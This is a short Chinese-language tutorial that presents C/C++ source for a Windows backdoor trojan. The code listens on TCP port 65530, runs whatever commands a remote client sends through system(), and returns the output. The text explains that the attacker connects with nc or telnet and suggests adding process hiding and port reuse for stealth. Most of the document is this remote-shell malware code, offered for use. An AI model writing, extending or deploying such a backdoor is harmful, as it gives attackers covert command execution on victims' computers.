基于C/C++socket通信的后台木马程序
下面我们假设各位已经精通C/C++的socket网络编程了。开始我们的木马编码。
所需要的头文件、命名空间和链接库
using namespace std;
初始化socket库
Socket_TCP_connect() {
WORD socketversion = MAKEWORD(2, 0); //初始化版本
WSADATA socketData; //初始化套接字内容
WSAStartup(socketversion, &socketData); //初始化socket库
}
void Socket_TCP_Bind_Listen(int port = 65530, u_long ip_list = INADDR_ANY)
{
s1 = socket(AF_INET, SOCK_STREAM, 0);
sin1.sin_family = AF_INET;
sin1.sin_addr.S_un.S_addr = ip_list;
sin1.sin_port = htons(port);
bind(s1, (sockaddr *)&sin1, sizeof(sin1));
listen(s1, 5);
Socket_TCP_Accept();
}
接受客户端信息
void Socket_TCP_Accept()
{
char buffer[1024];
int addrlen = sizeof(sin2);
while (true)
{
FILE *fp = fopen("123.txt", "w+");
fclose(fp);
cout << ">>wait for connect……" << endl;
s2 = accept(s1, (sockaddr *)&sin2, &addrlen);
cout << ">>connect from " << inet_ntoa(sin2.sin_addr) << endl;
while (true)
{
int ret = recv(s2, buffer, sizeof(buffer), 0);
buffer[ret] = 0x00;
string commend = buffer;
string cmd = "";
for (auto &chr : commend)
{
if (chr == '\n')
{
chr = ' ';
}
cmd = cmd + chr;
}
cmd = cmd + "> 123.txt";
char c[1024];
strcpy(c, cmd.c_str());
cout << "执行:" << endl;
cout << c << endl;
if (system(buffer) == 0)
{
send(s2, "OK", strlen("OK"), 0);
if (system(c) == 0)
{
char str[1024] = "";
FILE *fp2 = fopen("123.txt", "rb+");
fread(str, sizeof(char), 1024, fp2);
cout << str;
send(s2, str, strlen(str), 0);
fclose(fp2);
}
}
}
closesocket(s2);
}
closesocket(s1);
WSACleanup();
}
核心思想:
本程序可以在主机上打开一个TCP连接,端口号为65530,并且接受客户端发来的指令,通过system()函数运行指令,并通过I/O操作将指令发送至客户端。
被攻击者为socket服务器端,攻击者为客户端。添加进程隐藏和多线程端口复用技术后,可以增加隐蔽性。
连接方式:NC或者telnet
效果图: